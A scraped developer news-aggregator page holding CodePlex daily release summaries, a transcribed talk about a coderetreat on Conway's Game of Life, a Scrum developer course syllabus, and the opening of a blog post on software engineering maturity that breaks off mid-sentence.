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• CodePlex Daily Summary for Wednesday, February 23, 2011

  CodePlex Daily Summary for Wednesday, February 23, 2011Popular ReleasesSQL Server CLR Function for Address Correction and Geocoding: Release 2.1: Adds support for the User Key argument in Process function calls.ClosedXML - The easy way to OpenXML: ClosedXML 0.45.2: New on this release: 1) Added data validation. See Data Validation 2) Deleting or clearing cells deletes the hyperlinks too. New on v0.45.1 1) Fixed issues 6237, 6240 New on v0.45.2 1) Fixed issues 6257, 6266 New Examples Data ValidationCrystalbyte Equinox (LINQ to IMAP): Equinox Alpha Release v0.3.0.0: Fixed bugsFixed issue introduced in last release; No connection could be established since the client did not read the welcome message during the initial connection attempt. Contact names are now being properly parsed into the envelope Introduced featuresImplemented SMTP support, the client is contained inside the Crystalbyte.Equinox.Smtp.dll which was added to the current release.OMEGA CMS: OMEGA CMA - Alpha 0.2: A few fixes for OMEGA Framework (DLL) A few tweeks for OMEGA CMSJSLint for Visual Studio 2010: 1.2.4: Bug Fix release.Coding4Fun Tools: Coding4Fun.Phone.Toolkit v1.2: New control, Toast Prompt! Removed progress bar since Silverlight Toolkit Feb 2010 has it.Umbraco CMS: Umbraco 4.7: Service release fixing 31 issues. A full changelog will be available with the final stable release of 4.7 Important when upgradingUpgrade as if it was a patch release (update /bin, /umbraco and /umbraco_client). For general upgrade information follow the guide found at http://our.umbraco.org/wiki/install-and-setup/upgrading-an-umbraco-installation 4.7 requires the .NET 4.0 framework Web.Config changes Update the web web.config to include the 4 changes found in (they're clearly marked in...HubbleDotNet - Open source full-text search engine: V1.1.0.0: Add Sqlite3 DBAdapter Add App Report when Query Cache is Collecting. Improve the performance of index through Synchronize. Add top 0 feature so that we can only get count of the result. Improve the score calculating algorithm of match. Let the score of the record that match all items large then others. Add MySql DBAdapter Improve performance for multi-fields sort . Using hash table to access the Payload data. The version before used bin search. Using heap sort instead of qui...Silverlight????[???]: silverlight????[???]2.0: ???????，?????，????????silverlight????。DBSourceTools: DBSourceTools_1.3.0.0: Release 1.3.0.0 Changed editors from FireEdit to ICSharpCode.TextEditor. Complete re-vamp of Intellisense ( further testing needed). Hightlight Field and Table Names in sql scripts. Added field dropdown on all tables and views in DBExplorer. Added data option for viewing data in Tables. Fixed comment / uncomment bug as reported by tareq. Included Synonyms in scripting engine ( nickt_ch ).IronPython: 2.7 Release Candidate 1: We are pleased to announce the first Release Candidate for IronPython 2.7. This release contains over two dozen bugs fixed in preparation for 2.7 Final. See the release notes for 60193 for details and what has already been fixed in the earlier 2.7 prereleases. - IronPython TeamCaliburn Micro: A Micro-Framework for WPF, Silverlight and WP7: Caliburn.Micro 1.0 RC: This is the official Release Candicate for Caliburn.Micro 1.0. The download contains the binaries, samples and VS templates. VS Templates The templates included are designed for situations where the Caliburn.Micro source needs to be embedded within a single project solution. This was targeted at government and other organizations that expressed specific requirements around using an open source project like this. NuGet This release does not have a corresponding NuGet package. The NuGet pack...Caliburn: A Client Framework for WPF and Silverlight: Caliburn 2.0 RC: This is the official Release Candidate for Caliburn 2.0. It contains all binaries, samples and generated code docs.Chiave File Encryption: Chiave 0.9: Application for file encryption and decryption using 512 Bit rijndael encyrption algorithm with simple to use UI. Its written in C# and compiled in .Net version 3.5. It incorporates features of Windows 7 like Jumplists, Taskbar progress and Aero Glass. Feedbacks are Welcome!....Rawr: Rawr 4.0.20 Beta: Rawr is now web-based. The link to use Rawr4 is: http://elitistjerks.com/rawr.phpThis is the Cataclysm Beta Release. More details can be found at the following link http://rawr.codeplex.com/Thread/View.aspx?ThreadId=237262 As of the 4.0.16 release, you can now also begin using the new Downloadable WPF version of Rawr!This is a pre-alpha release of the WPF version, there are likely to be a lot of issues. If you have a problem, please follow the Posting Guidelines and put it into the Issue Trac...PowerGUI Visual Studio Extension: PowerGUI VSX 1.3.2: New FeaturesPowerGUI Console Tool Window PowerShell Project Type PowerGUI 2.4 SupportMiniTwitter: 1.66: MiniTwitter 1.66 ???? ?? ?????????? 2 ??????????????????? User Streams ?????????Windows Phone 7 Isolated Storage Explorer: WP7 Isolated Storage Explorer v1.0 Beta: Current release features:WPF desktop explorer client Visual Studio integrated tool window explorer client (Visual Studio 2010 Professional and above) Supported operations: Refresh (isolated storage information), Add Folder, Add Existing Item, Download File, Delete Folder, Delete File Explorer supports operations running on multiple remote applications at the same time Explorer detects application disconnect (1-2 second delay) Explorer confirms operation completed status Explorer d...Image.Viewer: 2011: First version of 2011Silverlight Toolkit: Silverlight for Windows Phone Toolkit - Feb 2011: Silverlight for Windows Phone Toolkit OverviewSilverlight for Windows Phone Toolkit offers developers additional controls for Windows Phone application development, designed to match the rich user experience of the Windows Phone 7. Suggestions? Features? Questions? Ask questions in the Create.msdn.com forum. Add bugs or feature requests to the Issue Tracker. Help us shape the Silverlight Toolkit with your feedback! Please clearly indicate that the work items and issues are for the phone t...New Projects.Net Dating & Social Software Suite: A free, open source dating and social software suite. Dot Net Dating Suite uses the latest features in .Net combined with experienced developers efforts. This allows us to deliver professional public SEO websites with the support of an enterprise enabled administration suite.AllegroSharp: Biblioteka zapewniajaca obsluge serwisu aukcyjnego Allegro.pl w oparciu o udostepniona publicznie usluge Allegro Web API.asdfasdfasdf: asdfasdfasdfauto: auto siteAWS Monitor: A web app utilizing the Amazon Web Services API with a focus on browsing through and analyzing data graphically, mostly from CloudWatch - the API providing metrics about the usage of all the Amazon Web Services such as EC2 (Cloud Computing) and ELB (Elastic Load Balancing).Calculation of FEM using DirectX Libraries: Calculation of FEM using DirectX LibrariesCART: System CART (Creative Application to Remedy Traffics) poprawi przepustowosc infrastruktury drogowej i plynnosci ruchu pojazdów w aglomeracjach miejskich. Chaining Assertion for MSTest: Chaining Assertion for MSTest. Simpleness Assert Extension Method on Object. This provides only one .cs file.CodeFirst Membership Provider: Custom Membership Provider based on SimpleMembershipProvider using Entity Framework Code-First, intended for use in ASP.NET MVC 3. Thanks to ASP.NET Web Pages team for building a simple membership provider :PFourSquareSharp: Simple OAuth2 Implementation of FourSquare API in .NETHelix Engine: The Helix Engine is an Isometric Rendering Engine for SilverlightLighthouse - Versatile Unit Test Runner for Silverlight: Lighthouse provides you with set of simple but powerful tools to run Silverlight Unit Tests from Command Line, Windows Test Runner Application and from Resharper plugin for Visual Studio.MISCE: Designs for a Minimal Instruction Set Computer for Education along with a simulator/compiler written in Excel. A computer "from first principles" that utilises a minimal instruction set and can be built for demonstration purposes as part of a technology or computing course. Oh My Log: Oh My Log inventorises eventlog files from Windows Servers in a network. Clean and simple sysadmin tool. OSIS Interop Tests: These are the tests created for use by the OSIS working group (http://osis.idcommons.net) to test interoperability features of user-centric solutions during interop events.Program Options: Parse command line optionsSearchable Property Updater for Microsoft Dynamics CRM 2011: Searchable Property Updater makes it easier for Microsoft Dynamics CRM 2011 customizers to bulk change the "Active for advanced find" property of entities attributesSilverlight Bolo: silverlight bolo cloneSimulacia a vizualizacia vlasov: simulacia a vizualizacia vlasov pomocou GPUSmartkernel: Smartkernel:Framework,Example,Platform,Tool,AppSusuCMS: SusuCMSSwimlanes for Scrum: Swimlanes Taskboard for Scrum Team Projects with TFS setup using SfTS (Scrum for Team System) V3 templateteamdoer: These are the actual source codes that power teamdoer.com - a simple collaborative task/project management software apptiencd: Tiencd projectVG Current Item Display Web Part: VG Current Item Display Web Part allows to display current SharePoint item metadata. For example if you put it on to the Web Part page or list item form it will display the custom view of the current item properties. Output is easily customized with XSLT file.Virtual Interactive Shopper: Addin for SeeMe Rehabilitation System. More information about the SeeMe system can be found at http://www.brontesprocessing.com/health/SeeMeVisual Studio Strategy Manager: Provide a way to create code generation strategies and to manage them in Visual Studio 2010. Strategies can interact with Visual Studio events like document events (saved, closed, opened), building event or DSL Tools events (model element created, deleted, modified..).VMarket: <project name>VMarket</project name> <programming language>asp.net</programming language> <project description> VMarket is virtual market systems which allow users to act as seller or buyer and manage their property online </project description>webclerk: webclerk's project based on microsoft techWebTest: Just Test!Work efficiency (WE) ????????: Work efficiency ???????? ????： ???? ????zrift: nothing here, move along

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• Lightning talk: Coderetreat

  - by Michael Williamson

  In the spirit of trying to encourage more deliberate practice amongst coders in Red Gate, Lauri Pesonen had the idea of running a coderetreat in Red Gate. Lauri and I ran the first one a few weeks ago: given that neither of us hadn’t even been to a coderetreat before, let alone run one, I think it turned out quite well. The participants gave positive feedback, saying that they enjoyed the day, wrote some thought-provoking code and would do it again. Sam Blackburn was one of the attendees, and gave a lightning talk to the other developers in one of our regular lightning talk sessions: In case you can’t watch the video, I’ve transcribed the talk below, although I’d recommend watching the video if you can — I didn’t have much time to do the transcribing! So, what is a coderetreat? So it’s not just something in Red Gate, there’s a website and everything, although it’s not a very big website. It calls itself a community network. The basic ideas behind coderetreat are: you’ve got one day, and you split it into one hour sections. You spend three quarters of that coding, and do a little retrospective at the end. You’re supposed to start fresh each, we were told to delete our code after every session. We were in pairs, swapping after each session, and we did the same task every time. In fact, Conway’s Game of Life is the only task mentioned anywhere that I find for coderetreat. So I don’t know what we’ll do next time, or if we’re meant to do the same thing again. There are some guiding principles which felt to us like restrictions, that you have to code in crazy ways to encourage better code. Final thing is that it’s supposed to be free for outsiders to join. It’s meant to be a kind of networking thing, where you link up with people from other companies. We had a pilot day with Michael and Lauri. Since it was basically the first time any of us had done anything like this, everybody was from Red Gate. We didn’t chat to anybody else for the initial one. The task was Conway’s Game of Life, which most of you have probably heard of it, all but one of us knew about it when did the coderetreat. I won’t got into the details of what it is, but it felt like the right size of task, basically one or two groups actually produced something working by the end of the day, and of course that doesn’t mean it’s necessarily a day’s work to produce that because we were starting again every hour. The task really drives you more than trying to create good code, I found. It was really tempting to try and get it working rather than stick to the rules. But it’s really good to stop and try again because there are so many what-ifs when you’ve finished writing something, “what if I’d done it this way?”. You can answer all those questions at a coderetreat because it’s not about getting a product out the door, it’s about learning and playing with ideas. So we had all these different practices we were trying. I’ll try and go through most of these. Single responsibility is this idea that everything should do just one thing. It was the very first session, we were still trying to figure out how do you go about the Game of Life? So by the end of forty-five minutes hadn’t produced very much for that first session. We were still thinking, “Do we start with a board, how do we represent all these squares? It can be infinitely big, help, this is getting really difficult!”. So, most of us didn’t really get anywhere on the first one. Although it was interesting that some people started with the board, one group started with the FateDecider class that decides whether things live or die. A sort of god class, but in a good way. They managed to implement all of the rules without even defining how the squares were arranged or anything like that. Another thing we tried was TDD (test-driven development). I’m sure most of you know what TDD is: Watch a test, watch it fail for the right reason Write code to pass the test, watch it pass Refactor, check the test still passes Repeat! It basically worked, we were able to produce code, but we often found the tests defined the direction that code went, which is obviously the idea of TDD. But you tend to find that by the time you’ve even written your first assertion, which is supposed to be the very first thing you write, because you write your tests backwards from the assertions back to the initial conditions, you’ve already constrained the logic of the code in some way by the time you’ve done that. You then get to this situation of, “Well, we actually want to go in a slightly different direction. Can we do this?”. Can we write tests that don’t constrain the architecture? Wrapping up all primitives: it’s kind of turtles all the way down. We had a Size, which has a Width and Height, which both derive from Dimension. You’ve got pages of code before you’ve even done anything. No getters and setters (use tell don’t ask instead): mocks and stubs for tests are required if you want to assert that your results are what you think they should be. You can’t just check the internal state of the code. And people found that really challenging and it made them think in a different way which I think is really good. Not having mutable state: that was kind of confusing because we weren’t quite sure what fitted within that rule and what didn’t, and I think we were trying too hard to follow the rule rather than the guideline. No if-statements: supposed to use polymorphism instead, but polymorphism still requires a factory with conditional behaviour. We did something really crazy to get around this: public T If(bool condition, Func<T> left, Func<T> right) { var dict = new Dictionary<bool, Func<T>> {{true, left}, {false, right}}; return dict[condition].Invoke(); } That is not really polymorphism, is it? For-loops: you can always replace a for-loop with recursion, but it doesn’t tend to make it any more readable unless it’s the kind of task that really lends itself to that. So it was interesting, it was good practice, but it wouldn’t make it easier it’s the kind of tree-structure algorithm where that would help. Having a limit on the number of levels of indentation: again, I think it does produce very nice, clean code, but it wasn’t actually a challenge because you just extract methods. That’s quite a useful thing because you can apply that to real code and say, “Okay, should this method really be going crazy like this?” No talking: we hated that. It’s like there’s two of you at a computer, and one of you is doing the typing, what does the other guy do if they’re not allowed to talk. The answer is TDD ping-pong – one person writes the tests, and then the other person writes the code to pass the test. And that creates communication without actually having to have discussion about things which is kind of cool. No code comments: just makes no difference to anything. It’s a forty-five minute exercise, so what are you going to put comments in code for? Finally, this is my fault. I discovered an entertaining way of doing the calculation that was kind of cool (using convolutions over the state of the board). Unfortunately, it turns out to be really hard to implement in C#, so didn’t even manage to work out how to do that convolution in C#. It’s trivial in some high-level languages, but you need something matrix-orientated for it to really work. That’s most of it, really. The thoughts that people went away with: we put down our answers to questions like “What have you learnt?” and “What surprised you?”, “How are you going to do things differently?”, and most people said redoing the problem is really, really good for understanding it properly. People hate having a massive legacy codebase that they can’t change, so being able to attack something three different ways in an environment where the end-product isn’t important: that’s something people really enjoyed. Pair-programming: also people said that they wanted to do more of that, especially with TDD ping-pong, where you write the test and somebody else writes the code. Various people thought different things about immutables, but most people thought they were good, they promote functional programming. And TDD people found really hard. “Tell, don’t ask” people found really, really hard and really, really, really hard to do well. And the recursion just made things trickier to debug. But most people agreed that coderetreats are really cool, and we should do more of them.

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• Professional Scrum Developer (.NET) Training in London

  - by Martin Hinshelwood

  On the 26th - 30th July in Microsoft’s offices in London Adam Cogan from SSW will be presenting the first Professional Scrum Developer course in the UK. I will be teaching this course along side Adam and it is a fantastic experience. You are split into teams and go head-to-head to deliver units of potentially shippable work in four two hour sprints. The Professional Scrum Developer course is the only course endorsed by both Microsoft and Ken Schwaber and they have worked together very effectively in brining this course to fruition. This course is the brain child of Richard Hundhausen, a Microsoft Regional Director, and both Adam and I attending the Trainer Prep in Sydney when he was there earlier this year. He is a fantastic trainer and no matter where you do this course you can be safe in the knowledge that he has trained and vetted all of the teachers. A tools version of Ken if you will Find a course and register Download this syllabus Download the Scrum Guide What is the Professional Scrum Developer course all about? Professional Scrum Developer course is a unique and intensive five-day experience for software developers. The course guides teams on how to turn product requirements into potentially shippable increments of software using the Scrum framework, Visual Studio 2010, and modern software engineering practices. Attendees will work in self-organizing, self-managing teams using a common instance of Team Foundation Server 2010. Who should attend this course? This course is suitable for any member of a software development team – architect, programmer, database developer, tester, etc. Entire teams are encouraged to attend and experience the course together, but individuals are welcome too. Attendees will self-organize to form cross-functional Scrum teams. These teams require an aggregate of skills specific to the selected case study. Please see the last page of this document for specific details. Product Owners, ScrumMasters, and other stakeholders are welcome too, but keep in mind that everyone who attends will be expected to commit to work and pull their weight on a Scrum team. What should you know by the end of the course? Scrum will be experienced through a combination of lecture, demonstration, discussion, and hands-on exercises. Attendees will learn how to do Scrum correctly while being coached and critiqued by the instructor, in the following topic areas: Form effective teams Explore and understand legacy “Brownfield” architecture Define quality attributes, acceptance criteria, and “done” Create automated builds How to handle software hotfixes Verify that bugs are identified and eliminated Plan releases and sprints Estimate product backlog items Create and manage a sprint backlog Hold an effective sprint review Improve your process by using retrospectives Use emergent architecture to avoid technical debt Use Test Driven Development as a design tool Setup and leverage continuous integration Use Test Impact Analysis to decrease testing times Manage SQL Server development in an Agile way Use .NET and T-SQL refactoring effectively Build, deploy, and test SQL Server databases Create and manage test plans and cases Create, run, record, and play back manual tests Setup a branching strategy and branch code Write more maintainable code Identify and eliminate people and process dysfunctions Inspect and improve your team’s software development process What does the week look like? This course is a mix of lecture, demonstration, group discussion, simulation, and hands-on software development. The bulk of the course will be spent working as a team on a case study application delivering increments of new functionality in mini-sprints. Here is the week at a glance: Monday morning and most of the day Friday will be spent with the computers powered off, so you can focus on sharpening your game of Scrum and avoiding the common pitfalls when implementing it. The Sprints Timeboxing is a critical concept in Scrum as well as in this course. We expect each team and student to understand and obey all of the timeboxes. The timebox duration will always be clearly displayed during each activity. Expect the instructor to enforce it. Each of the ½ day sprints will roughly follow this schedule: Component Description Minutes Instruction Presentation and demonstration of new and relevant tools & practices 60 Sprint planning meeting Product owner presents backlog; each team commits to delivering functionality 10 Sprint planning meeting Each team determines how to build the functionality 10 The Sprint The team self-organizes and self-manages to complete their tasks 120 Sprint Review meeting Each team will present their increment of functionality to the other teams = 30 Sprint Retrospective A group retrospective meeting will be held to inspect and adapt 10 Each team is expected to self-organize and manage their own work during the sprint. Pairing is highly encouraged. The instructor/product owner will be available if there are questions or impediments, but will be hands-off by default. You should be prepared to communicate and work with your team members in order to achieve your sprint goal. If you have development-related questions or get stuck, your partner or team should be your first level of support. Module 1: INTRODUCTION This module provides a chance for the attendees to get to know the instructors as well as each other. The Professional Scrum Developer program, as well as the day by day agenda, will be explained. Finally, the Scrum team will be selected and assembled so that the forming, storming, norming, and performing can begin. Trainer and student introductions Professional Scrum Developer program Agenda Logistics Team formation Retrospective Module 2: SCRUMDAMENTALS This module provides a level-setting understanding of the Scrum framework including the roles, timeboxes, and artifacts. The team will then experience Scrum firsthand by simulating a multi-day sprint of product development, including planning, review, and retrospective meetings. Scrum overview Scrum roles Scrum timeboxes (ceremonies) Scrum artifacts Simulation Retrospective It’s required that you read Ken Schwaber’s Scrum Guide in preparation for this module and course. MODULE 3: IMPLEMENTING SCRUM IN VISUAL STUDIO 2010 This module demonstrates how to implement Scrum in Visual Studio 2010 using a Scrum process template*. The team will learn the mapping between the Scrum concepts and how they are implemented in the tool. After connecting to the shared Team Foundation Server, the team members will then return to the simulation – this time using Visual Studio to manage their product development. Mapping Scrum to Visual Studio 2010 User Story work items Task work items Bug work items Demonstration Simulation Retrospective Module 4: THE CASE STUDY In this module the team is introduced to their problem domain for the week. A kickoff meeting by the Product Owner (the instructor) will set the stage for the why and what that will take during the upcoming sprints. The team will then define the quality attributes of the project and their definition of “done.” The legacy application code will be downloaded, built, and explored, so that any bugs can be discovered and reported. Introduction to the case study Download the source code, build, and explore the application Define the quality attributes for the project Define “done” How to file effective bugs in Visual Studio 2010 Retrospective Module 5: HOTFIX This module drops the team directly into a Brownfield (legacy) experience by forcing them to analyze the existing application’s architecture and code in order to locate and fix the Product Owner’s high-priority bug(s). The team will learn best practices around finding, testing, fixing, validating, and closing a bug. How to use Architecture Explorer to visualize and explore Create a unit test to validate the existence of a bug Find and fix the bug Validate and close the bug Retrospective Module 6: PLANNING This short module introduces the team to release and sprint planning within Visual Studio 2010. The team will define and capture their goals as well as other important planning information. Release vs. Sprint planning Release planning and the Product Backlog Product Backlog prioritization Acceptance criteria and tests Sprint planning and the Sprint Backlog Creating and linking Sprint tasks Retrospective At this point the team will have the knowledge of Scrum, Visual Studio 2010, and the case study application to begin developing increments of potentially shippable functionality that meet their definition of done. Module 7: EMERGENT ARCHITECTURE This module introduces the architectural practices and tools a team can use to develop a valid design on which to develop new functionality. The teams will learn how Scrum supports good architecture and design practices. After the discussion, the teams will be presented with the product owner’s prioritized backlog so that they may select and commit to the functionality they can deliver in this sprint. Architecture and Scrum Emergent architecture Principles, patterns, and practices Visual Studio 2010 modeling tools UML and layer diagrams SPRINT 1 Retrospective Module 8: TEST DRIVEN DEVELOPMENT This module introduces Test Driven Development as a design tool and how to implement it using Visual Studio 2010. To maximize productivity and quality, a Scrum team should setup Continuous Integration to regularly build every team member’s code changes and run regression tests. Refactoring will also be defined and demonstrated in combination with Visual Studio’s Test Impact Analysis to efficiently re-run just those tests which were impacted by refactoring. Continuous integration Team Foundation Build Test Driven Development (TDD) Refactoring Test Impact Analysis SPRINT 2 Retrospective Module 9: AGILE DATABASE DEVELOPMENT This module lets the SQL Server database developers in on a little secret – they can be agile too. By using the database projects in Visual Studio 2010, the database developers can join the rest of the team. The students will see how to apply Agile database techniques within Visual Studio to support the SQL Server 2005/2008/2008R2 development lifecycle. Agile database development Visual Studio database projects Importing schema and scripts Building and deploying Generating data Unit testing SPRINT 3 Retrospective Module 10: SHIP IT Teams need to know that just because they like the functionality doesn’t mean the Product Owner will. This module revisits acceptance criteria as it pertains to acceptance testing. By refining acceptance criteria into manual test steps, team members can execute the tests, recording the results and reporting bugs in a number of ways. Manual tests will be defined and executed using the Microsoft Test Manager tool. As the Sprint completes and an increment of functionality is delivered, the team will also learn why and when they should create a branch of the codeline. Acceptance criteria Testing in Visual Studio 2010 Microsoft Test Manager Writing and running manual tests Branching SPRINT 4 Retrospective Module 11: OVERCOMING DYSFUNCTION This module introduces the many types of people, process, and tool dysfunctions that teams face in the real world. Many dysfunctions and scenarios will be identified, along with ideas and discussion for how a team might mitigate them. This module will enable you and your team to move toward independence and improve your game of Scrum when you depart class. Scrum-butts and flaccid Scrum Best practices working as a team Team challenges ScrumMaster challenges Product Owner challenges Stakeholder challenges Course Retrospective What will be expected of you and you team? This is a unique course in that it’s technically-focused, team-based, and employs timeboxes. It demands that the members of the teams self-organize and self-manage their own work to collaboratively develop increments of software. All attendees must commit to: Pay attention to all lectures and demonstrations Participate in team and group discussions Work collaboratively with other team members Obey the timebox for each activity Commit to work and do your best to deliver All teams should have these skills: Understanding of Scrum Familiarity with Visual Studio 201 C#, .NET 4.0 & ASP.NET 4.0 experience*  SQL Server 2008 development experience Software testing experience * Check with the instructor ahead of time for the exact technologies Self-organising teams Another unique attribute of this course is that it’s a technical training class being delivered to teams of developers, not pairs, and not individuals. Ideally, your actual software development team will attend the training to ensure that all necessary skills are covered. However, if you wish to attend an open enrolment course alone or with just a couple of colleagues, realize that you may be placed on a team with other attendees. The instructor will do his or her best to ensure that each team is cross-functional to tackle the case study, but there are no guarantees. You may be required to try a new role, learn a new skill, or pair with somebody unfamiliar to you. This is just good Scrum! Who should NOT take this course? Because of the nature of this course, as explained above, certain types of people should probably not attend this course: Students requiring command and control style instruction – there are no prescriptive/step-by-step (think traditional Microsoft Learning) labs in this course Students who are unwilling to work within a timebox Students who are unwilling to work collaboratively on a team Students who don’t have any skill in any of the software development disciplines Students who are unable to commit fully to their team – not only will this diminish the student’s learning experience, but it will also impact their team’s learning experience Find a course and register Download this syllabus Download the Scrum Guide Technorati Tags: Scrum,SSW,Pro Scrum Dev

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• CodePlex Daily Summary for Sunday, October 06, 2013

  CodePlex Daily Summary for Sunday, October 06, 2013Popular ReleasesMedia Companion: Media Companion MC3.580b: Fixed IMDB Actor names and Actor Roles, empty <actor> entries in movie nfo, and actor scraping during initial movie scrape. Revision HistoryEvent-Based Components AppBuilder: AB3.Iteration.53: Iteration 53 (Feature): Allow drag&drop of existing component (flow, step) from component list to chart. Duplicate names are automatically recognized and solved. By the color of the draged component you can see what kind of component (flow or step) is currently draged. New: AddExistingComponentFlow, PartDragDropEventHandler, ExistingStepPreparerPulse: Pulse 0.6.7.3: Pulse is now accepting donations. To donate by Bitcoin or PayPal see https://pulse.codeplex.com/wikipage?title=Donations Lots of updates in v0.6.7.3: (Feature) New option allows you to disable wallpaper changing when a full screen application is running. This way Pulse doesn't slow down/lag your videos and games :) (Fix) Some users were getting Wallbase errors when logging in. This has been fixed. (Feature) Right click a provider and you can now make a copy of it by selecting the "Dupl...MoreTerra (Terraria World Viewer): MoreTerra 1.11.1: Release 1.11.1 =========== =Bug Fixes= =========== Added more tile blocks (Clouds, crimstone) Added items (binoculars, rope, Pirahna Gun) Added ores (Lead, Tin) Chests now work, I broke them yesterday. =============== =Known Issues= =============== I am having trouble with new background walls. So you will see a red outline for crimson then a pink inside. Same with where I think the queen bee lives.VG-Ripper & PG-Ripper: PG-Ripper 1.4.19: NEW: Added Option to login as Guest NEW: Added Menu Option to delete an Forum Account NEW: Added Support for "ImageTeam.org links FIXED: Fixed Ripping of http://forum.babeunion.com ForumsSimpleExcelReportMaker: Serm 0.03: SourceCode and Sample .Net Framework 3.5 AnyCPU compile.Application Architecture Guidelines: App Architecture Guidelines 3.0.8: This document is an overview of software qualities, principles, patterns, practices, tools and libraries.fastJSON: v2.0.22: 2.0.22 - added .net 3.5 project - now compiling to 'output' directory - added signed assembly - version numbers will stay at 2.0.0.0 for drop in compatibility - file version will reflect the build number - bug fix deserializing to dictionaries instead of dataset when type is not definedResponsive SharePoint: Bootstrap 3 for SharePoint 2013 - Alpha 0.1: Bootstrap 3 for SharePoint 2013 Alpha version 0.1 NOTE - This is an alpha version, there are bound to be issues. Please help us solve them by contributing in our Discussion. Publishing - The source for Twitter Bootstrap 3.0.0 integrated into SharePoint 2013 for a site with Publishing enabled. Non-Publishing - A master page and branding assets for Twitter Bootstrap 3.0.0 integrated into SharePoint 2013 without Publishing enabled. PageLayoutSampleContent - Sample content for included page l...C++ AMP Conformance Test Suite: C++ AMP Conformance Test Suite 1.0.0: This release contains following changes from previous release: Removed the tests that were testing Microsoft specific behavior not part of open specification. The test suite now contains two folders, containing set of test cases, named ‘Tests’ and ‘TestsWithProp'. The set of tests under these two folders are identical except one difference. The set of test cases under directory ‘TestsWithProp’ makes use of ‘properties’ (which the compiler being tested should handle as mentioned in the open ...ASP.NET dhtmxGantt Class: dhtmlxGantt2.vb class: This is the latest class based on work performed. For more information read the project description and get the source files from dhtmlx.comExpressiveDataGenerators: Alpha 2: Fix serveral bugs, more testsQuickTestsFramework: 1.0.0: First release with stable API.VS Tiny Extension for TortoiseGit: 0.1c: + Icons revised + Push button disappeared when IDE loads the menu instead of toolbar. + Detected twice loading and prevented. + About box deprecated. + Next version will have major improvements. NEW: Visual Studio 2013 Support!BlackJumboDog: Ver5.9.6: 2013.09.30 Ver5.9.6 (1)SMTP???????、???????????????? (2)WinAPI??????? (3)Web???????CGI???????????????????????PayBox payment gateway provider for NB_Store: NB_Store_Gateway_01.00.02_PayBox: Paybox DNN module installMicrosoft Ajax Minifier: Microsoft Ajax Minifier 5.2: Mostly internal code tweaks. added -nosize switch to turn off the size- and gzip-calculations done after minification. removed the comments in the build targets script for the old AjaxMin build task (discussion #458831). Fixed an issue with extended Unicode characters encoded inside a string literal with adjacent \uHHHH\uHHHH sequences. Fixed an IndexOutOfRange exception when encountering a CSS identifier that's a single underscore character (_). In previous builds, the net35 and net20...AJAX Control Toolkit: September 2013 Release: AJAX Control Toolkit Release Notes - September 2013 Release (Updated) Version 7.1005September 2013 release of the AJAX Control Toolkit. AJAX Control Toolkit .NET 4.5 – AJAX Control Toolkit for .NET 4.5 and sample site (Recommended). AJAX Control Toolkit .NET 4 – AJAX Control Toolkit for .NET 4 and sample site (Recommended). AJAX Control Toolkit .NET 3.5 – AJAX Control Toolkit for .NET 3.5 and sample site (Recommended). Important UpdateThis release has been updated to fix three issues: Up...WDTVHubGen - Adds Metadata, thumbnails and subtitles to WDTV Live Hubs: WDTVHubGen.v2.1.4.apifix-alpha: WDTVHubGen.v2.1.4.apifix-alpha is for testers to figure out if we got the NEW api plugged in ok. thanksVisual Log Parser: VisualLogParser: Portable Visual Log Parser for Dotnet 4.0New ProjectsBasic4Android (B4A) Charting Framework: dhtlmxCharts, GoogleCharts etc: Basic4Android (B4A) mobile charting framework.Client Meeting Tool: This site facilitate users to create and schedule meetings for an event.FoodScan: This app focuses on implementing diet monitoring application for Malaysian overweight and obese adolescents using AR technique on Windows Phone 8.Hello Team foundation server: Try to use team foundation server and compare it with GitKDG C# Password Generator: C# password generator developed by KDG.KDG's C# Password Generator: C# password generator that uses Random to create strong passwords based on user input.Meta: Meta is the EECS 111 programming language at Northwestern University. Meta is a dynamically-typed scheme-like language built on .NET. This is its home.Monoscript: Allows using Mono and C# for scripting on Unix. Source files are automatically compiled and executed. Caching is employed to avoid recompiling unchanged files.mtdsharp: Developed by Chris Hyndman, Alec KC, Lu Huang and Merrill Huang for CS 196 at the University of Illinois.Planr.me: Planr is a time management website currently in the early development stageProject Hermes: This very project is currently closed door and under core development. The project description and other works would be published soon.Remindme for Windows Phone 8: Simple, open source Pocket client for Windows Phone 8Remindme for WinRT: Simple, open source Pocket client for WinRT and Windows 8.SQL Server Periodic Table with Molecules: This a SQL Server Database intended to be used by students and researchers for Chemistry and Physics projects. Tesseract: The Tesseract Project aims to easily display and rotate 4 Dimensional Objects in 3D Test Case Manager: A Windows Application which extends Microsoft Test Manager. Features: * one click search * test case export * better test case reader * extended edit modeTest Project for Assignment 1: This is a test ProjectTorah File: Torah File is an project that allow you to use Torah Bible and Mishneh for the computer by type of the programming languages that will be able to use the ToUSAePay nopCommerce Payment Plugin: A simple plugin for nopCommerce to use the USAePay SOAP API interface for processing credit cards.Veterinaria Dr Leo: Este es nuestro Proyecto del curso Calidad y Pruebas de Software 2013-2 Arevalo Ticlla, Susan. Chalán Malca, Elvis. Cruzado Asencio, Gustavo.Visual Studio Test Extensions: The Visual Studio Test Extensions provides extensions and tools for the Visual Studio MSTest engine. It allows to execute unit tests in a separate AppDomain.WSAAD7COM1052: Central repository for 7COM1052 - Web Scripting & Application Development (COM)wscc2013online: this is a project related to Web Application Development at the University of Hertfordshire

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• Software Engineering Practices &ndash; Different Projects should have different maturity levels

  - by Dylan Smith

  I’ve had a lot of discussions at the office lately about the drastically different sets of software engineering practices used on our various projects, if what we are doing is appropriate, and what factors should you be considering when determining what practices are most appropriate in a given context. I wanted to write up my thoughts in a little more detail on this subject, so here we go: If you compare any two software projects (specifically comparing their codebases) you’ll often see very different levels of maturity in the software engineering practices employed. By software engineering practices, I’m specifically referring to the quality of the code and the amount of technical debt present in the project. Things such as Test Driven Development, Domain Driven Design, Behavior Driven Development, proper adherence to the SOLID principles, etc. are all practices that you would expect at the mature end of the spectrum. At the other end of the spectrum would be the quick-and-dirty solutions that are done using something like an Access Database, Excel Spreadsheet, or maybe some quick “drag-and-drop coding”. For this blog post I’m going to refer to this as the Software Engineering Maturity Spectrum (SEMS). I believe there is a time and a place for projects at every part of that SEMS. The risks and costs associated with under-engineering solutions have been written about a million times over so I won’t bother going into them again here, but there are also (unnecessary) costs with over-engineering a solution. Sometimes putting multiple layers, and IoC containers, and abstracting out the persistence, etc is complete overkill if a one-time use Access database could solve the problem perfectly well. A lot of software developers I talk to seem to automatically jump to the very right-hand side of this SEMS in everything they do. A common rationalization I hear is that it may seem like a small trivial application today, but these things always grow and stick around for many years, then you’re stuck maintaining a big ball of 